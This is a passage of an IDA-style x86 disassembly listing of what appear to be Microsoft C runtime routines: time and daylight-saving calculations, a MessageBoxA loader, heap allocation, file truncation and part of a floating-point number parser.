		jl	loc_41EC6D
		cmp	ecx, eax
		jg	loc_41EC6D
		cmp	ecx, edx
		jle	short loc_41EDD8
		cmp	ecx, eax
		jge	short loc_41EDD8


loc_41EDBE:				; CODE XREF: sub_41EC60+166j
					; sub_41EC60+16Aj
		mov	eax, ebx


loc_41EDC0:				; CODE XREF: sub_41EC60+Fj
					; sub_41EC60+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EDC4:				; CODE XREF: sub_41EC60+144j
		cmp	ecx, eax
		jl	short loc_41EDBE
		cmp	ecx, edx
		jg	short loc_41EDBE
		cmp	ecx, eax
		jle	short loc_41EDD8
		cmp	ecx, edx
		jl	loc_41EC6D


loc_41EDD8:				; CODE XREF: sub_41EC60+158j
					; sub_41EC60+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41EDFF
		xor	ecx, ecx
		cmp	eax, dword_43A990
		setnl	cl


loc_41EDFB:				; CODE XREF: sub_41EC60+1AAj
		mov	eax, ecx
		jmp	short loc_41EDC0
; ---------------------------------------------------------------------------


loc_41EDFF:				; CODE XREF: sub_41EC60+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43A9A0
		setl	cl
		jmp	short loc_41EDFB
sub_41EC60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE0C	proc near		; CODE XREF: sub_41EC60+99p
					; sub_41EC60+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41EEA7
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41EE37
		shl	esi, 2
		mov	eax, dword_43A9A0[esi]
		jmp	short loc_41EE40
; ---------------------------------------------------------------------------


loc_41EE37:				; CODE XREF: sub_41EE0C+1Ej
		shl	esi, 2
		mov	eax, dword_43A9D4[esi]


loc_41EE40:				; CODE XREF: sub_41EE0C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_41EE7A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41EE84
; ---------------------------------------------------------------------------


loc_41EE7A:				; CODE XREF: sub_41EE0C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41EE84:				; CODE XREF: sub_41EE0C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41EEC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_41EE98
		mov	esi, dword_43A9A4[esi]
		jmp	short loc_41EE9E
; ---------------------------------------------------------------------------


loc_41EE98:				; CODE XREF: sub_41EE0C+82j
		mov	esi, dword_43A9D8[esi]


loc_41EE9E:				; CODE XREF: sub_41EE0C+8Aj
		cmp	ecx, esi
		jle	short loc_41EEC2
		sub	ecx, 7
		jmp	short loc_41EEC2
; ---------------------------------------------------------------------------


loc_41EEA7:				; CODE XREF: sub_41EE0C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41EEB8
		mov	ecx, dword_43A9A0[eax*4]
		jmp	short loc_41EEBF
; ---------------------------------------------------------------------------


loc_41EEB8:				; CODE XREF: sub_41EE0C+A1j
		mov	ecx, dword_43A9D4[eax*4]


loc_41EEBF:				; CODE XREF: sub_41EE0C+AAj
		add	ecx, [ebp+arg_18]


loc_41EEC2:				; CODE XREF: sub_41EE0C+7Cj
					; sub_41EE0C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41EEF3
		mov	eax, [ebp+arg_1C]
		mov	dword_43A98C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43A988, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43A990, eax
		jmp	short loc_41EF48
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: sub_41EE0C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43A99C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43A8F8
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43A9A0, eax
		jns	short loc_41EF2B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43A9A0, eax
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EF2B:				; CODE XREF: sub_41EE0C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41EF42
		sub	eax, edx
		inc	ecx
		mov	dword_43A9A0, eax


loc_41EF3C:				; CODE XREF: sub_41EE0C+11Dj
		mov	dword_43A99C, ecx


loc_41EF42:				; CODE XREF: sub_41EE0C+126j
		mov	dword_43A998, ebx


loc_41EF48:				; CODE XREF: sub_41EE0C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41EE0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF4C	proc near		; CODE XREF: sub_41D05F+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41EF5D
		add	esp, 0Ch
		retn
sub_41EF4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF5D	proc near		; CODE XREF: sub_41EF4C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_46CB81[eax], cl
		jnz	short loc_41EF8A
		cmp	[esp+arg_4], 0
		jz	short loc_41EF83
		movzx	eax, word_437F2A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41EF85
; ---------------------------------------------------------------------------


loc_41EF83:				; CODE XREF: sub_41EF5D+16j
		xor	eax, eax


loc_41EF85:				; CODE XREF: sub_41EF5D+24j
		test	eax, eax
		jnz	short loc_41EF8A
		retn
; ---------------------------------------------------------------------------


loc_41EF8A:				; CODE XREF: sub_41EF5D+Fj
					; sub_41EF5D+2Aj
		push	1
		pop	eax
		retn
sub_41EF5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF8E	proc near		; CODE XREF: sub_41D7B5+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_46B8FC, ebx
		push	esi
		push	edi
		jnz	short loc_41EFDD
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F013
		mov	esi, dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_46B8FC, eax
		jz	short loc_41F013
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_46B900, eax
		call	esi	; GetProcAddress
		mov	dword_46B904, eax


loc_41EFDD:				; CODE XREF: sub_41EF8E+Bj
		mov	eax, dword_46B900
		test	eax, eax
		jz	short loc_41EFFC
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41EFFC
		mov	eax, dword_46B904
		test	eax, eax
		jz	short loc_41EFFC
		push	ebx
		call	eax
		mov	ebx, eax


loc_41EFFC:				; CODE XREF: sub_41EF8E+56j
					; sub_41EF8E+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_46B8FC


loc_41F00F:				; CODE XREF: sub_41EF8E+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41F013:				; CODE XREF: sub_41EF8E+1Cj
					; sub_41EF8E+33j
		xor	eax, eax
		jmp	short loc_41F00F
sub_41EF8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F017	proc near		; CODE XREF: sub_41D972+22p
					; sub_41D972+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_41F038
		test	esi, esi
		jnz	short loc_41F032
		push	1
		pop	esi


loc_41F032:				; CODE XREF: sub_41F017+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41F038:				; CODE XREF: sub_41F017+12j
					; sub_41F017+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41F097
		mov	eax, dword_46CCA8
		cmp	eax, 3
		jnz	short loc_41F063
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_46CCA0
		ja	short loc_41F082
		push	eax
		call	sub_419011
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41F0AD
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F063:				; CODE XREF: sub_41F017+30j
		cmp	eax, 2
		jnz	short loc_41F082
		cmp	esi, dword_43A164
		ja	short loc_41F082
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_419AB4
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41F0C1


loc_41F082:				; CODE XREF: sub_41F017+3Bj
					; sub_41F017+4Aj ...
		push	esi
		push	8
		push	dword_46CCA4
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41F0BB


loc_41F097:				; CODE XREF: sub_41F017+26j
		cmp	dword_46B694, 0
		jz	short loc_41F0BB
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jz	short loc_41F0C4
		jmp	short loc_41F038
; ---------------------------------------------------------------------------


loc_41F0AD:				; CODE XREF: sub_41F017+48j
		push	[ebp+arg_0]


loc_41F0B0:				; CODE XREF: sub_41F017+ABj
		push	0
		push	edi
		call	sub_415390
		add	esp, 0Ch


loc_41F0BB:				; CODE XREF: sub_41F017+7Ej
					; sub_41F017+87j
		mov	eax, edi


loc_41F0BD:				; CODE XREF: sub_41F017+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F0C1:				; CODE XREF: sub_41F017+69j
		push	esi
		jmp	short loc_41F0B0
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F017+92j
		xor	eax, eax
		jmp	short loc_41F0BD
sub_41F017	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DA17


loc_41F0C8:				; CODE XREF: sub_41DA17+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_46C940, esi
		jle	short loc_41F11B


loc_41F0D7:				; CODE XREF: sub_41DA17+1702j
		mov	eax, dword_46B928
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41F112
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41F0F6
		push	eax
		call	sub_415960
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41F0F6
		inc	edi


loc_41F0F6:				; CODE XREF: sub_41DA17+16D0j
					; sub_41DA17+16DCj
		cmp	esi, 14h
		jl	short loc_41F112
		mov	eax, dword_46B928
		push	dword ptr [eax+esi*4]
		call	sub_415C9B
		mov	eax, dword_46B928
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41F112:				; CODE XREF: sub_41DA17+16CAj
					; sub_41DA17+16E2j
		inc	esi
		cmp	esi, dword_46C940
		jl	short loc_41F0D7


loc_41F11B:				; CODE XREF: sub_41DA17+16BEj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41DA17

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F120	proc near		; CODE XREF: sub_41DDF6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415B90
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_46CA60
		jnb	loc_41F255
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46C960[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41F255
		push	1
		push	esi
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41F25F
		push	2
		push	esi
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41F25F
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F202
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415390
		push	8000h
		push	ebx
		call	sub_41FD5A
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41F1B6:				; CODE XREF: sub_41F120+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41F1C1
		mov	eax, edi


loc_41F1C1:				; CODE XREF: sub_41F120+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41CCC7
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F1DF
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F1F5
		jmp	short loc_41F1B6
; ---------------------------------------------------------------------------


loc_41F1DF:				; CODE XREF: sub_41F120+B5j
		cmp	dword_46B638, 5
		jnz	short loc_41F1F2
		mov	dword_46B634, 0Dh


loc_41F1F2:				; CODE XREF: sub_41F120+C6j
		or	esi, 0FFFFFFFFh


loc_41F1F5:				; CODE XREF: sub_41F120+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41FD5A
		pop	ecx
		pop	ecx
		jmp	short loc_41F242
; ---------------------------------------------------------------------------


loc_41F202:				; CODE XREF: sub_41F120+71j
		jge	short loc_41F242
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41C447
		push	ebx
		call	sub_41DD62
		add	esp, 10h
		push	eax
		call	dword_421010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F242
		mov	dword_46B634, 0Dh
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_46B638, eax


loc_41F242:				; CODE XREF: sub_41F120+E0j
					; sub_41F120:loc_41F202j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41F262
; ---------------------------------------------------------------------------


loc_41F255:				; CODE XREF: sub_41F120+1Aj
					; sub_41F120+36j
		mov	dword_46B634, 9


loc_41F25F:				; CODE XREF: sub_41F120+4Ej
					; sub_41F120+63j
		or	eax, 0FFFFFFFFh


loc_41F262:				; CODE XREF: sub_41F120+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41F120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F266	proc near		; CODE XREF: sub_41E261+2Bp
					; sub_41E261+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41F27C
		cmp	ecx, esi
		jnb	short loc_41F27F


loc_41F27C:				; CODE XREF: sub_41F266+10j
		push	1
		pop	eax


loc_41F27F:				; CODE XREF: sub_41F266+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41F266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F287	proc near		; CODE XREF: sub_41F340+40p
					; sub_41F340+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F2B9
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F2B9
		inc	dword ptr [esi+8]


loc_41F2B9:				; CODE XREF: sub_41F287+19j
					; sub_41F287+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F2D1
		inc	dword ptr [esi+8]


loc_41F2D1:				; CODE XREF: sub_41F287+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41F266
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41F287	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F2E5	proc near		; CODE XREF: sub_41F340+30p
					; sub_41F340+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41F2E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F313	proc near		; CODE XREF: sub_41F8D8+1C8p
					; sub_41FDD0+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41F313	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F340	proc near		; CODE XREF: sub_41F407+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41F3B4
		push	edi
		mov	[ebp+arg_8], eax


loc_41F367:				; CODE XREF: sub_41F340+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41F2E5
		push	ebx
		call	sub_41F2E5
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F287
		push	ebx
		call	sub_41F2E5
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F287
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41F367
		xor	edx, edx
		pop	edi


loc_41F3B4:				; CODE XREF: sub_41F340+21j
					; sub_41F340+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41F3E1
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41F3B4
; ---------------------------------------------------------------------------


loc_41F3E1:				; CODE XREF: sub_41F340+77j
		mov	esi, 8000h


loc_41F3E6:				; CODE XREF: sub_41F340+B9j
		test	[ebx+8], esi
		jnz	short loc_41F3FB
		push	ebx
		call	sub_41F2E5
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41F3E6
; ---------------------------------------------------------------------------


loc_41F3FB:				; CODE XREF: sub_41F340+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41F340	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F407	proc near		; CODE XREF: sub_41E5AA+17p
					; sub_41E5D7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41F442:				; CODE XREF: sub_41F407+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41F458
		cmp	cl, 9
		jz	short loc_41F458
		cmp	cl, 0Ah
		jz	short loc_41F458
		cmp	cl, 0Dh
		jnz	short loc_41F45B


loc_41F458:				; CODE XREF: sub_41F407+40j
					; sub_41F407+45j ...
		inc	edi
		jmp	short loc_41F442
; ---------------------------------------------------------------------------


loc_41F45B:				; CODE XREF: sub_41F407+4Fj
		push	4
		pop	esi


loc_41F45E:				; CODE XREF: sub_41F407+AEj
					; sub_41F407+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41F6E1	; default
					; jumptable 0041F46A case 10
		jmp	off_41F8A8[eax*4] ; switch jump


loc_41F471:				; DATA XREF: seg001:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 0
		jl	short loc_41F482
		cmp	bl, 39h
		jg	short loc_41F482


loc_41F47B:				; CODE XREF: sub_41F407+C4j
					; sub_41F407+118j
		push	3
		jmp	loc_41F69F
; ---------------------------------------------------------------------------


loc_41F482:				; CODE XREF: sub_41F407+6Dj
					; sub_41F407+72j
		cmp	bl, byte_438130
		jnz	short loc_41F491


loc_41F48A:				; CODE XREF: sub_41F407+124j
		push	5
		jmp	loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F491:				; CODE XREF: sub_41F407+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F4B7
		dec	eax
		dec	eax
		jz	short loc_41F4AB
		sub	eax, 3
		jnz	loc_41F77A
		jmp	loc_41F53A
; ---------------------------------------------------------------------------


loc_41F4AB:				; CODE XREF: sub_41F407+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41F45E
; ---------------------------------------------------------------------------


loc_41F4B7:				; CODE XREF: sub_41F407+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41F45E
; ---------------------------------------------------------------------------


loc_41F4C0:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 1
		mov	[ebp+var_10], edx
		jl	short loc_41F4CD
		cmp	bl, 39h
		jle	short loc_41F47B


loc_41F4CD:				; CODE XREF: sub_41F407+BFj
		cmp	bl, byte_438130
		jz	loc_41F595
		cmp	bl, 2Bh
		jz	short loc_41F50F
		cmp	bl, 2Dh
		jz	short loc_41F50F
		cmp	bl, 30h
		jz	short loc_41F53A


loc_41F4E8:				; CODE XREF: sub_41F407+207j
		cmp	bl, 43h
		jle	loc_41F77A
		cmp	bl, 45h
		jle	short loc_41F508
		cmp	bl, 63h
		jle	loc_41F77A
		cmp	bl, 65h
		jg	loc_41F77A


loc_41F508:				; CODE XREF: sub_41F407+EDj
		push	6
		jmp	loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F50F:				; CODE XREF: sub_41F407+D5j
					; sub_41F407+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F517:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 2
		jl	short loc_41F525
		cmp	bl, 39h
		jle	loc_41F47B


loc_41F525:				; CODE XREF: sub_41F407+113j
		cmp	bl, byte_438130
		jz	loc_41F48A
		cmp	bl, 30h
		jnz	loc_41F6EF


loc_41F53A:				; CODE XREF: sub_41F407+9Fj
					; sub_41F407+DFj
		mov	eax, edx
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F541:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		mov	[ebp+var_10], edx ; jumptable 0041F46A case 3


loc_41F544:				; CODE XREF: sub_41F407+184j
		cmp	dword_43812C, edx
		jle	short loc_41F55D
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F56B
; ---------------------------------------------------------------------------


loc_41F55D:				; CODE XREF: sub_41F407+143j
		mov	ecx, off_437F20
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F56B:				; CODE XREF: sub_41F407+154j
		test	eax, eax
		jz	short loc_41F58D
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F585
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41F588
; ---------------------------------------------------------------------------


loc_41F585:				; CODE XREF: sub_41F407+16Cj
		inc	[ebp+var_8]


loc_41F588:				; CODE XREF: sub_41F407+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F544
; ---------------------------------------------------------------------------


loc_41F58D:				; CODE XREF: sub_41F407+166j
		cmp	bl, byte_438130
		jnz	short loc_41F5FC


loc_41F595:				; CODE XREF: sub_41F407+CCj
		mov	eax, esi
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F59C:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		cmp	[ebp+var_4], 0	; jumptable 0041F46A case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41F5B5


loc_41F5A8:				; CODE XREF: sub_41F407+1ACj
		cmp	bl, 30h
		jnz	short loc_41F5B5
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F5A8
; ---------------------------------------------------------------------------


loc_41F5B5:				; CODE XREF: sub_41F407+19Fj
					; sub_41F407+1A4j ...
		cmp	dword_43812C, edx
		jle	short loc_41F5CE
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F5DC
; ---------------------------------------------------------------------------


loc_41F5CE:				; CODE XREF: sub_41F407+1B4j
		mov	ecx, off_437F20
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F5DC:				; CODE XREF: sub_41F407+1C5j
		test	eax, eax
		jz	short loc_41F5FC
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F5F7
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


